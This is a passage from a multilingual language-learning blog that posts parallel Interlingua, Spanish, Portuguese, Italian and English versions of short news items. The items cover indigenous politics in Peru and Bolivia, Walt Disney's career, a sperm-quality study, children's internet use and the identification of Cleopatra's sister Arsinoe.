indigene non hanno confini fisici. I confini tra la Bolivia e Perù sono semplicemente una funzione artificiale della storia del colonialismo europeo.\".\n---\nIn Ecuador, indigenous people have been responsible over the last decade for the resignation of two presidents, and in Bolivia, there is now an Indian president. These are just two examples of a greater presence of indigenous people in the Latin American political scene in the last ten years.\nThe latest example of how this sector can thwart a government is a conflict in Peru, which resulted in the rejection of a series of decrees issued by the Peruvian president governing the management of forest and water resources by foreign companies that want to exploit and pollute the ancestral lands of indigenous people in that country.\nCarlos Toranzo, a Bolivian political analyst, says that the Peruvian case is an example of how indigenous people in several countries are going to act more insistently in claiming their rights.\nVictor Hugo Cardenas, the former vice president of Bolivia, said that although this process can be seen throughout Latin America, it is impossible to speak of a single indigenous movement. \"The indigenous movement has many faces,\" he says. \"There is not just one goal, not just a single program. It is more correct to speak of several indigenous movements.\"\nIn relation to the conflict in Peru, the chairman of the Special Committee on Indian Affairs of the Chamber of Deputies of Bolivia, Leandro Chacalluca, said, \"We are one family. The original indigenous peoples have no physical boundaries. The borders between Bolivia and Peru are simply an artificial feature in the history of European colonialism.\"\nPosted by hkyson at 12:11 PM\nSunday, July 5, 2009\n(Languages of this post: Interlingua, English)\nMilliones de personas ha vidite le films de Disney e su programmas de television e cognosce Mickey Mouse e omne le altere protagonistas de su films animate. Milliones de altere personas ha visitate Disneyland in California, Disney World in Florida, un altere Disneyland in Tokyo, Japon, e Euro-Disney in Francia. Le mythologia que Disney ha create ha su elementos original, ma Disney anque ha adaptate mythos de diverse partes del mundo que ille ha artisticamente modificate pro producer nove creationes con un nove vita fresc e original.\nWalter Elias Disney nasceva in Chicago, Illinois, in 1901. Quando ille habeva quatro annos de etate, su familia abandonava Chicago pro le vita rural a un ferma in Marceline, Missouri. Al etate de dece (e) sex annos Disney comenciava a studiar arte in Chicago. Eventualmente, ille trovava e legeva un libro, \"Animated Cartoons: How They Are Made\", per Edwin G. Lutz.\nTosto Frank L. Newman, qui esseva le proprietario de un theatro de cinema in Kansas City, disveloppava un interesse in le breve films animate que Disney produceva, que se appellava \"Laugh-O-Grams\" e deveniva multo popular inter le fanaticos del films de ille epocha quando le arte del cinema esseva in le prime phases de su evolution.\nIn 1923 Disney sequeva le altere pioneros del cinema a Hollywood. Ille voleva un carriera como productor o director de films, ma ille non poteva trovar un empleo. Ille tunc decideva a facer films animate, que consiste de un longe serie de caricaturas. Cata caricatura de un tal film es un pauco differente del altere caricaturas que lo circumfere; e presentate in un sequentia assatis rapide, illos produce le illusion de movimento.\nLe prime annos pro iste nove compania fundate per Disney esseva difficile. Pro producer films ben succedite, Disney decideva que ille habeva besonio de un serie de protagonistas ben cognoscite pro popular los. In ille annos ille travaliava con un altere animator juvene, Ub Iwerks. Le duo homines sovente videva mures in le vetule edificio ubi illes travaliava, e illes comenciava a designar caricaturas de mures.\nEventualmente lor schizzos produceva Mickey Mouse. Como un humano, Mickey se promenava con duo gambas e portava guantos blanc sur manos de quatro digitos. On designava Mickey multo facilemente con un serie de circulos, e ille esseva perfecte pro films animate. In 1928 le publico primo videva Mickey Mouse in un film breve con le nomine \"Steamboat Willie\". Walt Disney mesme provideva le voce de Mickey, e le film esseva un grande successo.\nIn le proxime annos, Disney produceva centenares de films animate con Mickey Mouse. In Japon, on le cognosceva como \"Miki Kuchi\". In Italia ille esseva \"Topolino\". In le America latin, ille esseva \"Ratón Miquelito\". Tosto Mickey habeva un serie de amicos. Un esseva un mus feminin con le nomine \"Minnie\". Postea veniva un anate con le nomine \"Donald\" e un can con le nomine \"Pluto\".\nLe films de Mickey Mouse esseva extrememente popular, ma Disney anque voleva producer films animate que durava plus que un hora. Su prime film de iste tipo, \"Snow White\" ha su origine in \"Schneewittchen\", un conto del fratres Grimm. In iste version del conto appare le speculo magic e le septe nanos, al quales Disney dava nomines individual. Post tres annos de travalio, Disney finiva \"Snow White and the Seven Dwarfs\" in 1937. Illo deveniva un del plus famose films de Hollywood.\nMulte expertos in le cinema dice que, desde un perspectiva artistic, le melior film de Disney es \"Pinocchio,\" que Disney adaptava del creation del italiano Carlo Collodi. Le prime version designate de Pinocchio esseva per le artista Gris Grimly. Ma le artistas de Disney voleva un protagonista plus animate e benevole e disveloppava un nove version de Pinocchio. Illes debeva designar 2.500.000 picturas de ille pro completar le film. Ben que le artistas que creava Pinocchio esseva limitate a picturas in duo dimensiones, lor magica creava le illusion de tres dimensiones e objectos que esseva ben solide. Le mundo de Pinocchio esseva imaginari, ma illo appareva multo concrete e facile a toccar.\nIn le duo decadas que comenciava in 1940, Disney produceva altere films animate multo popular, que include \"Fantasia\", \"Dumbo\", \"Bambi\", \"Cinderella\", \"Alice in Wonderland\", \"Peter Pan\", \"Lady and the Tramp\", e \"Sleeping Beauty\". Omne iste filmes es popular etiam nunc.\nDisney anque produceva multe films e programmas de television con actores vivente. Ille anque produceva films sur animales in lor ambientes natural. Omne su films esseva inspirate per ideas simile. In le major parte de illos, innocentia, loyalitate, e amor familiar es menaciate per fortias maligne. Illos narra eventos triste, ma illos anque contine creaturas e eventos comic. In omne illos, eventualmente, le bon triumphava super le mal. Disney ganiava 32 premios del Academia Cinematic American pro su films e pro inventiones scientific e technic que facilitava lor production.\nDisney mesme moriva in 1966. Ma le compania que ille comenciava continua su production de films, programmas de television, e innovationes in Disneyland e le altere parcos Disney in Florida e in altere partes del mundo.\n---\nMillions of people have seen Disney's films and his television programs and know Mickey Mouse and the other characters in his animated films. Millions of other people have visited Disneyland in California, Disney World in Florida, another Disneyland in Tokyo, Japan, and Euro-Disney in France. The mythology that Disney has created has its original elements, but Disney has also adapted myths from various parts of the world that he has artistically modified to produce new creations with a new fresh and original life.\nWalter Elias Disney was born in Chicago, Illinois, in 1901. When he was four years old, his family left Chicago for the rural life on a farm in Marceline, Missouri. At age sixteen, Disney started to study art in Chicago. Eventually he found and read a book, \"Animated Cartoons: How They Are Made,\" by Edwin G. Lutz.\nSoon Frank L. Newman, who owned a movie theater in Kansas City, developed an interest in the short animated films that Disney produced, which were known as \"Laugh-O-Grams\" and became very popular among film fans at that time when the art of filmmaking was in the first phases of its evolution.\nIn 1923 Disney followed the other film pioneers to Hollywood. He wanted a career as a movie producer or director, but he could not find a job. He then decided to make animated films, which consist of a long series of cartoons. Each cartoon in such a film is a little different from the other cartoons that surround it; and presented in a rather rapid sequence, they produce the illusion of movement.\nThe first years for this new company that Disney founded were difficult. To produce successful films, Disney decided that he needed a series of well-known characters to populate them. In those years he worked with another young animator, Ub Iwerks. The two men often saw mice in the old building where they worked, and they started to draw cartoons of mice.\nEventually their sketches produced Mickey Mouse. Like a human, Mickey walked on two feet and wore white gloves on hands with four fingers. Mickey was drawn very easily with a series of circles, and he was perfect for animated films. In 1928 the public first saw Mickey Mouse in a short film named \"Steamboat Willie.\" Walt Disney himself provided Mickey's voice, and the film was a great success.\nIn the next few years, Disney produced hundreds of films with Mickey Mouse. In Japan he was known as \"Miki Kuchi.\" In Italy he was \"Topolino.\" In Latin America he was \"Ratón Miquelito.\" Soon Mickey had a series of friends. One was the female mouse named \"Minnie.\" Afterwards came a duck named \"Donald\" and a dog with the name of \"Pluto.\"\nMickey Mouse films were extremely popular, but Disney also wanted to produce animated films that lasted more than an hour. His first film of this kind, \"Snow White,\" has its origin in \"Schneewittchen,\" a Grimm Brothers fairy tale. This version of the tale has the magic mirror and the seven dwarfs, to which Disney gave individual names. After three years of work, Disney finished \"Snow White and the Seven Dwarfs\" in 1937. It became one of the most famous films of Hollywood.\nMany film experts say that, from an artistic perspective, the best of Disney's films is \"Pinocchio,\" which Disney adapted from the creation of the Italian Carlo Collodi. The first drawn version of Pinocchio was by the artist Gris Grimley. But Disney's artists wanted a kinder, more animated character and developed a new version of Pinocchio. They had to draw 2,500,000 pictures of him to complete the film. Though the artists who created Pinocchio were limited to two-dimensional pictures, their magic created the illusion of three dimensions and objects that were quite solid. Pinochio's world was imaginary, but it appeared very concrete and easy to touch.\nIn the two decades starting in 1940, Disney produced other very popular animated films, which include \"Fantasia,\" \"Dumbo,\" \"Bambi,\" \"Cinderella,\" \"Alice in Wonderland,\" \"Peter Pan,\" \"Lady and the Tramp,\" and \"Sleeping Beauty.\" All these films are popular even now.\nDisney also produced many films and television programs with living actors. He also produced films about animals in their natural environments. All his films were inspired by similar ideas. In most of them, innocence, loyalty, and family love are threatened by evil forces. They narrate sad events, but they also contain funny creatures and events. In all of them, eventually, good triumphs over evil. Disney won thirty-two Oscars from the Motion Picture Academy for his films and for scientific and technical inventions that facilitated their production.\nDisney himself died in 1966. But the company that he started continues producing films, television programs, and innovations in Disneyland and the other Disney parks in Florida and the other parts of the world.\nPosted by hkyson at 7:22 AM\nSaturday, July 4, 2009\n(Languages of this post: Interingua, Spanish, Portuguese, English)\nUn projecto de recercas australian suggere que haber sexo cata die meliora le qualitate de sperma e poterea augmentar le possibilitates de graviditate.\nUn studio del Sydney IVF, un centro de tractamento de infertilitate, esseva presentate in Amsterdam, Hollanda, durante un seminario del Societate Europee pro Reproduction e Embriologia.\nLe recercatores analysava 118 homines con problemas de infertilitate, e le resultatos monstra que le DNA del sperma de ille homines esseva meliorate per un taxa medie de 12% post septe dies de ejaculation diarie. In ultra, le sperma anque deveniva plus active durante le septimana del analyse, con un parve augmento de mobilitate.\nLe studio anque notava un reduction in le numero de spermatozoides in le semine de 180 milliones a 70 milliones durante le periodo. Secundo le recercatores, in despecto del reduction, le homines remaneva al nivello normal de fertilitate.\nSecundo David Greening, qui dirigeva le studio, in despecto del resultatos promittente, altere projectos de recerca es necesse pro identificar si le beneficios del ejaculation diarie pote esser observate anque in homines sin problemas de infertilitate.\nGreening preveni, nonobstante, que facer sexo omne le dies pro multo tempore (un periodo de 15 dies, pro exemplo) poterea reducer troppo le numero de spermatozoides, ma ille anque affirma que un grande quantitate de sexo diarie es recommendate durante le periodo de ovulation de mulieres pro augmentar le probabilitate de graviditate.\nSecundo le specialista in fertilitate Alan Pacey, del Universitate de Sheffield, in Anglaterra, le discoperimento que ejaculationes diarie meliora le probablitates de graviditate es interessante, ma il esserea errate pensar que illo es le caso pro omne le homines.\n\"Pro homines que jam possede un quantitate de sperma reducite\", affirma Pacey, \"le ejaculationes diarie pote reducer etiam plus ille total e, in despecto de que le sperma es plus san, le numero reducite pote impeder le probabilitate de un conception normal\".\nPacey anque dice que le melior consilio general pro copulas que sta a essayar a ingraviditar naturalmente esserea \"mantener relationes cata duo dies pro garantir le sanitate del sperma durante cata acto sexual\".\n---\nUn estudio australiano sugiere que tener sexo todos los días mejora la calidad de los espermatozoides y podría aumentar las posibilidades de embarazo.\nUna encuesta de Sidney IVF, un centro para el tratamiento de la infertilidad, se presentó en Amsterdam, Holanda, durante un seminario de la Sociedad Europea de Reproducción y Embriología.\nLos investigadores estudiaron 118 hombres con problemas de infertilidad, y los resultados indican que el ADN de los espermatozoides de estos hombres se mejoró en un promedio del 12% después de siete días de eyaculación diaria. Además, los espermatozoides también se volvieron más activos durante la semana de análisis, con un pequeño aumento en la movilidad.\nEn el estudio también se observó un descenso en el número de espermatozoides en el semen de 180 millones a 70 millones durante el período. Según los investigadores, a pesar de la caída, los hombres se mantuvieron en el nivel normal de fertilidad.\nSegún David Greening, que dirigió el estudio, a pesar de los resultados prometedores, más investigación es necesaria para determinar si los beneficios de la eyaculación diaria también se pueden observar en los hombres con problemas de infertilidad, y también advierte que tener relaciones sexuales todos los días durante un largo período de tiempo (un período de 15 días, por ejemplo) podría reducir demasiado el número de espermatozoides.\nGreening también afirma, sin embargo, que una gran cuantitad de sexo diario se recomienda durante el período de la ovulación en las mujeres para aumentar las posibilidades de embarazo.\nSegún el especialista en fertilidad Alan Pacey, de la Universidad de Sheffield en Inglaterra, el descubrimiento de que ejaculações diarias mejoran la probabilidad de embarazo es interesante, pero sería erróneo pensar que éste es el caso para todos los hombres.\n\"Para los hombres que ya tienen poca cantidad de esperma\", dice Pacey, \"las eyaculaciones diarias pueden reducir aún más ese total y, a pesar de que los espermatozoides son más sanos, el número más bajo puede reducir las posibilidades de un diseño normal.\"\nPacey también dice que el mejor consejo general para las parejas que están tratando de concebir naturalmente sería \"mantener relaciones cada dos días para promover la salud de los espermatozoides durante cada acto sexual\".\n---\nUm estudo australiano sugere que fazer sexo todos os dias melhora a qualidade do esperma e poderia aumentar as chances de gravidez.\nUma pesquisa do Sydney IVF, um centro de tratamento de infertilidade, foi apresentada em Amsterdã, na Holanda, durante um seminário da Sociedade Europeia para Reprodução e Embriologia.\nOs pesquisadores analisaram 118 homens com problemas de infertilidade, e os resultados apontam que o DNA do esperma desses homens foi melhorado por uma taxa média de 12%, após sete dias de ejaculação diária. Além disso, o esperma também se tornou mais ativo durante a semana de análise, com um pequeno aumento na mobilidade.\nO estudo observou ainda uma queda no número de espermatozóides no sêmen de 180 milhões para 70 milhões durante o período. Segundo os pesquisadores, apesar da queda, os homens permaneceram no nível normal de fertilidade.\nSegundo David Greening, que liderou o estudo, apesar dos resultados promissores, mais pesquisas são necessárias para identificar se os benefícios da ejaculação diária podem ser observados também em homens sem problemas de infertilidade, e ele alerta que fazer sexo todos os dias por muito tempo (um período de 15 dias, por exemplo) poderia reduzir demais o número de espermatozóides.\nGreening também afirma, no entanto, que uma grande quantidade de sexo diário é recomendado para o período de ovulação nas mulheres para aumentar as chances de gravidez.\nSegundo o especialista em fertilidade Alan Pacey, da Universidade de Sheffield, na Inglaterra, a descoberta de que ejaculações diárias melhoram as chances de gravidez é interessante, mas seria errado pensar que esse é o caso para todos os homens.\n\"Para homens que já possuem pouca quantidade de esperma\", afirma Pacey, \"as ejaculações diárias podem reduzir ainda mais esse total e, apesar de o esperma ser mais saudável, o número reduzido pode impedir as chances de uma concepção normal\".\nPacey também diz que o melhor conselho geral para casais que estão tentando engravidar naturalmente seria \"manter relações a cada dois dias para promover a saúde do esperma durante cada ato sexual\".\n---\nAn Australian research project suggests that having sex every day improves the quality of sperm and could increase the chances of pregnancy.\nA study by of Sydney IVF, a center for treatment of infertility, was presented in Amsterdam, Holland, during a seminar at the European Society for Reproduction and Embryology.\nThe researchers studied 118 men with infertility problems, and the results show that the DNA of the sperm of these men improved by an average rate of 12% after seven days of daily ejaculation. Moreover, the sperm also became more active during the week of analysis, with a small increase in mobility.\nThe study also noted a drop in the number of spermatozoa in semen from 180 million to 70 million during the period. According to the researchers, despite this reduction, the men remained within the normal level of fertility.\nAccording to David Greening, who led the study, despite the promising results, more research is needed to identify whether the benefits of daily ejaculation can also be observed in men with problems of infertility, but he warns that having sex every day for a long time (a period of 15 days, for example) could cause too much of a reduction in sperm count.\nGreening also says, however, that a large amount of daily sex is recommended for the period of ovulation in women to increase their chances of pregnancy.\nAccording to the fertility specialist Alan Pacey, of the University of Sheffield in England, the discovery that daily ejaculation improves the chances of pregnancy is interesting, but it would be wrong to think that this is the case for all men.\n\"For men who already have a small amount of sperm,\" says Pacey, \"daily ejaculation can further reduce the total; and though the sperm are more healthy, their reduced number can prevent the chances of normal conception.\"\nPacey also says that the best general advice for couples who are trying to conceive naturally would be to \"maintain relations every two days to promote the health of sperm during each sexual act.\"\nPosted by hkyson at 11:55 AM\nThursday, July 2, 2009\n(Languages of this post: Interlingua, Spanish, Portuguese, Italian, English)\nLe \"generation interactive\" jam se trova in nostre presentia. In Europa le pueros pro le prime vice passa plus horas cata die ante le schermo de un computator que ante un televisor.\nPro David Nicholas, un experto in le \"generation de Google\" del University College, London, le pueros in Internet nunquam retorna al mesme cosa e non se profundisa in ullo. \"A causa de iste phenomeno\", dice Nicolas, \"nos comencia a esser un societate idiotisate.\"\nIl ha anque altere problemas, como le abusos trans le internet, le predatores online, e le augmento del obesitate infantil proque multe pueros face progressivemente minus exercitio physic e ha minus activitates al ar libere.\nNonobstante, Don Tapscott, un autor canadian e guru del Web, recognosce que le uso de iste technologia cambiara le forma de pensar del pueros e adolescentes, e ille crede que le impacto essera positive. Pro ille, le nove generation essera vermente multo plus brilliante que illo de su patres, qui cresceva sedite in le sofa vidente pasivemente le television.\n\"Le pueros veni a casa, connecta lor computatores, e ha tres fenestras aperite, durante que illes parla in lor telephonos cellular, ascolta lor documentos in MP3, e face su travalios scholar\", diceva Tapscott. \"E quando illes es connectite, in vice de esser recipientes passive de un video de un altere persona, nostre pueros lege, pensa, organisa, collabora, e forma lor pensamentos de un maniera sophisticate.\"\nAltere expertos dice que con tante fontes de information que es plen de imprecisiones e conflictos, multe personas qui utilisa Internet in excesso non pote organisar lor pensamentos de un maniera efficace, e multe vices illes es incapace de producer obras que incarna le pensamento synthetisate ben organisate que anque es utile e digne de confidentia.\n---\nLa \"generación interactiva\" ya está aquí. En Europa los niños por primera vez pasan más horas al día frente a la computadora que viendo television\nPara David Nicholas, experto en la denominada generación Google del University College London, los niños en internet nunca suelen volver a la misma cosa y no profundizan en nada. \"A causa de este fenómeno\", dice Nicolas, \"estamos comenzando a ser una sociedad idiotizada\".\nTambién hay otros problemas, como los abusos a través de internet, los predadores online y el aumento de la obesidad infantil porque muchos niños hacen cada vez menos ejercicio y tienen menos actividades al aire libre.\nSin embargo, Don Tapscott, autor canadiense y gurú de la Web, reconoce que el uso de esta tecnología cambiará la forma de pensar de los niños y adolescentes, y cree que el impacto será positivo. Para él, la nueva generación será de hecho mucho más brillante que la de sus padres, quienes crecieron sentados en el sofá viendo pasivamente la televisión\n\"Los niños vienen a casa, prenden el computador y tienen tres ventanas abiertas mientras hablan por sus celulares y escuchan sus documentos en MP3 y hacen sus tareas de clase\", dijo Tapscott. \"Y cuando están conectados, en vez de ser recipientes pasivos de un video de otra persona, nuestros niños leen, piensan, organizan, colaboran y forman sus pensamientos de una manera sofisticada.\"\nOtros expertos dicen que con tantas fuentes de información que están llenos de imprecisiones y conflictos, muchas personas que utilizan Internet en exceso no pueden organizar sus pensamientos de manera eficaz y muchas veces son incapaces de producir obras que encarnan el pensamiento sintetizado bien organizado que también es útil y fiable.\n---\nA \"geração interativa\" já está aqui. Na Europa, pela primeira vez as crianças passam mais horas em frente do computador que da televisão.\nPara David Nicholas, um especialista sobre a chamada geração Google da University College London, as crianças na internet normalmente nunca voltam à mesma coisa e não elaboram sobre nada. \"Devido a este fenómeno\", disse Nicolas, \"estamos a começar a ser uma sociedade idiotizada\".\nTambém tem outros problemas, tais como abusos através da Internet, os predadores online e o aumento da obesidade infantil porque muitas crianças fazem menos exercícios e têm menos atividades ao ar livre.\nNo entanto, Don Tapscott, autor canadense e guru da Web, reconhece que a utilização desta tecnologia irá mudar a forma de pensar das crianças e adolescentes, e acredita que o impacto será positivo. Para ele, a nova geração é, de facto, muito mais brilhante do que a de seus pais que cresceu sentada no sofá assistindo passivamente a televisão.\n\"As crianças vêm para a casa, ligam o computador e têm três janelas abertas ao mesmo tempo que falam sobre os seus telefones celulares e ouvem os seus documentos em MP3\", disse Tapscott. \"E quando estão conectadas, em vez de ser receptores passivos de um vídeo de outra pessoa, nossos filhos lêem, pensam, organizam, colaboram e formam os seus pensamentos em uma maneira sofisticada\".\nOutros especialistas dizem que, com tantas fontes de informação que estão cheias de ambiguidades e conflitos, muitas pessoas que usam a Internet também não podem organizar seus pensamentos de forma eficaz e muitas vezes são incapazes de produzir obras que representam o pensamento sintetizado bem organizado que também é útil e confiável.\n---\nLa \"generazione interattiva\" è già qui. Per la prima volta in Europa i bambini stanno passando più ore davanti al computer che guardando la televisione.\nPer Davide Nicola, un esperto sulla cosiddetta generazione di Google alla University College di Londra, i bambini di solito non ritornano allo stesso sito e non esplorano nulla in profondità sull'Internet. \"A causa di questo fenomeno\", ha affermato Nicolas, \"stiamo cominciando a diventare uno società di idioti\".\nCi sono anche altri problemi come l'abuso dell'Internet, le truffe online, e l'aumento di obesità infantile, perché molti bambini si esercitano molto meno e passano meno tempo in attività all'aperto.\nTuttavia, Don Tapscott, autore canadese e guru del Web, riconosce che l'uso di questa tecnologia possa cambiare il modo di pensare dei bambini e degli adolescenti, ed egli ritiene che l'impatto sarà positivo. Per lui, la nuova generazione è in realtà molto più intelligente di a quella dei loro genitori che cressero guardando la televisione sedentariamente e passivamente .\n\"I bambini tornano a casa, accendeno il computer e aprono tre 'windows' mentre parlano con i loro telefonini e ascoltano le loro registrazioni di Mp3\" ha detto Tapscott. \"E quando sono connessi, invece di essere destinatari passivi delle trasmissioni d un altra persona, i nostri bambini leggono, pensano, organizzano, collaborano e formano i loro pensieri in modi sofisticati\".\nAltri esperti invece affermano che, con tante fonti di informazione piene di ambiguità e conflitto, molte persone usanti l'Internet eccessivamente non possano più organizzare loro pensieri in modo efficace e, spesso, siano incapaci di produrre opere rappresentanti un tipo di pensiero sintetico e bene-organizzato che sia utile e affidabile...\n---\nThe \"interactive generation\" is already here. For the first time children in Europe spend more hours in front of the computer than they do watching television.\nFor David Nicholas, an expert on the so-called Google generation at University College in London, children on the internet usually never return to the same thing and do not go into depth on anything. \"Because of this phenomenon,\" said Nicolas, \"we are starting to become an idiotized society.\"\nThere are also other problems such as Internet abuse, online predators, and the increase in childhood obesity because many children do less exercise and have fewer outdoor activities.\nHowever, Don Tapscott, a Canadian author and Web guru, acknowledges that the use of this technology will change the thinking of children and adolescents, and he believes the impact will be positive. For him, the new generation is in fact much brighter than parents', who grew up as couch potatoes passively watching television.\n\"Kids come home, turn on the computer and have three windows open while talking on their cell phones and listening to their documents on Mp3\" said Tapscott. \"And when connected, instead of being passive recipients of another person's video, our children read, think, organize, collaborate and form their thoughts in sophisticated ways.\"\nOther experts say that with so many information sources that are full of conflict and ambiguity, many people who use the Internet excessively cannot organize their thoughts effectively and are often incapable of producing works that embody the kind of well-organized synthesized thinking that is also useful and reliable.\nPosted by hkyson at 2:07 PM\nWednesday, July 1, 2009\n(Languages of this post: Interlingua, English)\nLe version de \"Interlingua multilingue\" a http:\/\/hkyson.wordpress.com nunc ha un motor de cercas, que pote esser multo utile pro su lectores qui studia le linguas fonte de interlingua.\nQue nos dice, pro exemplo, que tu vole vider messages in \"Interlingua multilingue\" que ha versiones in francese. Como cata articulo comencia con un lista in anglese de omne le linguas de su diverse traductiones, vos pote trovar articulos in francese si vos clavia le parola \"French\" in le motor, e instantemente vos potera trovar omne le textos in francese que appare in \"Interlingua multilingue\". Vos anque pote trovar omne le textos in italiano si vos clavia le parola \"Italian\" in le motor.\nNaturalmente vos anque pote usar le motor de cercas pro trovar textos con certe parolas, como \"politica\", \"grammatica\", o \"linguistica\". Io spera que le addition de iste motor de cercas a \"Interlingua multilingue\" facera plus utile e interessante le studio del textos de iste blog.\n---\nLet's say that you want to find articles in Italian or French in \"Interlingua multilingue.\"\nThe version of \"Interlingua multilingue at http:\/\/hkyson.wordpress.com now has a search engine, which can be very useful for its readers who are studying the source languages of Interlingua.\nLet's say, for example, that you want to see messages in \"Interlingua multilingue\" that have versions in French. Since each article begins with a list in English of all the languages of its various translations, you can find articles in French if you key the word \"French\" into the engine, and instantly you will be able to find all the texts in French that appear in \"Interlingua multilingue.\" You can also find all the texts in Italian if you key the word \"Italian\" into the engine.\nNaturally, you can also use the search engine to find texts with certain words such as \"politics,\" \"grammar,\" or \"linguistics.\" I hope that the addition of this search engine to \"Interlingua multilingue\" will make the study of the texts in this blog more useful and interesting.\nPosted by hkyson at 9:54 PM\n(Languages of this post: Interlingua, Spanish, Portuguese, Italian, English)\nLe regina Egyptian Cleopatra esseva in parte african, secundo un equipa de recercatores del Instituto Archaeologic Austriac. On arrivava a iste conclusion post identificar le skeleto del soror plus juvene de Cleopatra, le princessa Arsinoe, trovate in un tumba de plus que 2.000 annos de etate in Epheso, Turchia.\nEvidentias obtenite per le studio del dimensiones del cranio indica que illa ha alicun chracteristicas de blancos, europeos, egyptianos ancian, e africanos nigre, indicante que Cleopatra probabilemente anque esseva de origine ethnic mixte. Le matre de Arsinoe, il pare, esseva de origine african.\nDesde ante multe tempore specialistas ha debattite si Cleopatra esseva nord african, grec, o Macedonian. Su ancestre Ptolomeo esseva un general Macedonian qui deveniva le governator de Egypto per le ordine de Alexandre Magno.\nHike Thuer, un specialista del Academia Austriac de Scientias qui pro multo tempore credeva que le tumba esseva de Arsinoe, qualificava le discoperimento como sensational proque illo da nove informationes sur le familia de Cleopatra e le relationes inter le sorores Cleopatra e Arsinoe.\nLe tumba de Epheso primo esseva aperite in 1926 e, usque nunc, il habeva un debatto inter scientistas sur le identitate de su occupante. Ma technicas forensic combinate con analyses anthropologic e architectonic del tumba finalmente convinceva le specialistas que le skeleto trovate illac esseva del soror de Cleopatra.\nLe cranio esseva separate del skeleto pro examination e eventualmente disappareva durante le Secunde Guerra Mundial. Ma le anthropologa Caroline Wilkinson reconstrueva le facie ex le mensuras prendite durante le decada que comenciava con 1920.\nTextos antique trovate in le citate, que era parte del Imperio Roman, indica que Arsinoe esseva inviate illac post le defaite de su familia in le lucta de poter inter Cleopatra e le imperator roman Julio Caesare, secundo un articulo in le jornal britannic \"The Sunday Times\".\nMultes crede que quando Cleopatra se trovava involvite con le general roman Marco Antonio, post le morte de Julio Caesare, illa mandava que su soror esseva occidite pro prevenir un possible disputa in le futuro pro le throno egyptian.\n---\nLa reina egipcia Cleopatra fue en parte africana, según un equipo de investigadores del Instituto Arqueológico de Austria. Llegaron a esta conclusión después de identificar el esqueleto de la hermana menor de Cleopatra, la princesa Arsinoe, que se encontró en una tumba de más de 2.000 años de edad en Éfeso, Turquía.\nLas pruebas obtenidas mediante el estudio de las dimensiones del cráneo de Arsinoe indican que ella tiene algunas características de los blancos europeos, antiguos egipcios y africanos negros, indicando que Cleopatra probablemente era de origen étnico mixto. La madre de Arsinoe probablemente fue de origen africano.\nDesde hace mucho tiempo los expertos han debatido para establecer si Cleopatra era del norte de África, Grecia o Macedonia. Ptolomeo, su antepasado, fue un general macedonio que llegó a ser gobernador de Egipto por orden de Alejandro Magno.\nHilke Thuer, experto de la Academia Austríaca de Ciencias que ha creído desde hace mucho tiempo que la tumba fue de Arsinoe, dice que el descubrimiento es sensacional porque da nuevas informaciones sobre la familia de Cleopatra y las relaciones entre las hermanas Cleopatra y Arsinoe.\nLa tumba de Éfeso fue abierto en 1926 y, hasta ahora, ha habite un debate entre los científicos acerca de la identidad de su ocupante. Sin embargo, técnicas forenses y análisis antropológicos combinados con la arquitectura de la tumba finalmente persuadieron a los expertos que el esqueleto pertenece a la hermana de Cleopatra.\nEl cráneo se separó del esqueleto para examenes y finalmente desapareció durante la Segunda Guerra Mundial. Pero la antropóloga Caroline Wilkinson reconstruyó el rostro sobre la base de medidas elaboradas en la década del los 20.\nTextos antiguos que se encontraron en la ciudad, que perteneció al Imperio Romano, indican que Arsinoe fue enviada allá después de haber sido derrotado en una lucha por el poder entre Cleopatra y el líder romano Julio César, dice un artículo en el periódico británico \"The Sunday Times.\nMuchos creen que cuando Cleopatra fue envuelta con el general romano Marco Antonio, después de la muerte de Julio César, ella ordenó que su hermana fuera asesinada para evitar un posible conflicto para el trono de Egipto.\n---\nA rainha egípcia Cleópatra foi em parte africana, de acordo com uma equipe de pesquisadores do Instituto Arqueológico Austríaco. A conclusão foi tirada após a identificação do esqueleto da irmã mais nova de Cleópatra, a princesa Arsinoe, encontrado em uma tumba de mais de 2.000 anos de idade em Éfeso, na Turquia.\nAs evidências obtidas pelo estudo das dimensões do crânio de Arsinoe indicam que ela tem algumas características de brancos europeus, antigos egípcios e africanos negros, indicando que Cleópatra provavelmente também era de origem étnica mista. A mãe de Arsinoe seria de origem africana.\nHá muito tempo os especialistas debatiam se Cleópatra era norte-africana, grega ou macedônia. Seu ancestral Ptolomeu era um general macedônio que se tornou governante do Egito por ordem de Alexandre, o Grande.\nHilke Thuer, especialista da Academia Austríaca de Ciências que há muito tempo acreditava que a tumba era de Arsinoe, qualificou a descoberta como sensacional porque ela dá novas informações sobre a família de Cleópatra e o relacionamento entre as irmãs Cleópatra e Arsinoe.\nA tumba de Éfeso foi aberta pela primeira vez em 1926 e, até agora, havia um debate entre cientistas sobre a identidade de seu ocupante. Mas técnicas forenses combinadas à análise antropológica e arquitetônica da tumba acabaram convencendo os especialistas de que o esqueleto encontrado pertence à irmã de Cleópatra.\nO crânio foi separado do esqueleto para exame e acabou extraviado durante a Segunda Guerra Mundial. Mas a antropóloga Caroline Wilkinson reconstruiu a face baseada nas medidas tiradas na década de 20.\nTextos antigos achados na cidade, que pertencia ao Império Romano, indicam que Arsinoe foi enviada para lá depois de derrotada em uma luta de poder com Cleópatra e com o líder romano Júlio César, disse um artigo no jornal britânico \"The Sunday Times\".\nMuitos acreditam que quando Cleópatra estava envolvida com o general romano Marco Antônio, após a morte de Júlio César, ela ordenou que a irmã fosse morta para impedir uma possível disputa no futuro pelo trono egípcio.\n---\nCleopatra, la regina egiziana, era in parte africana, secondo una squadra di ricercatori dell'Istituto Archeologico Austriaco. Tale conclusione è stata raggiunta dopo l'identificazione dello scheletro della principessa Arsinoe, la sorella minore di Cleopatra, trovato a Efeso, in Turchia, in una tomba di più di 2.000 anni fa.\nIl cranio di Arsinoe, secondo l'evidenza ottenuta studiandone le dimensioni, mostra di avere caratteristiche europee, egiziane ed africane, indicanti che anche Cleopatra fosse di origine etnica mista. La madre di Arsinoe, a quanto pare, era di origine africana.\nPer lungo tempo gli esperti hanno discusso se Cleopatra fosse nordafricana, greca o macedone. Il suo antenato era il generale macedone Tolomeo che divenne governatore d'Egitto, per ordine di Alessandro il Grande.\nHilke Thuer, un esperto dell'Accademia Scientifica Austriaca, che ha creduto da lungo tempo che la tomba fosse quella di Arsinoe, ha descritto la scoperta come sensazionale in quanto fornisce nuove informazioni sulla la famiglia di Cleopatra e il rapporto tra lei e sua sorella Arsinoe.\nLa tomba a Efeso fu aperta per la prima volta nel 1926, e fino ad ora c'è stato un dibattito tra gli scienziati circa l'identità del suo occupante. Ma tecniche forensi combinate con l'analisi antropologica e architettonica della tomba, hanno 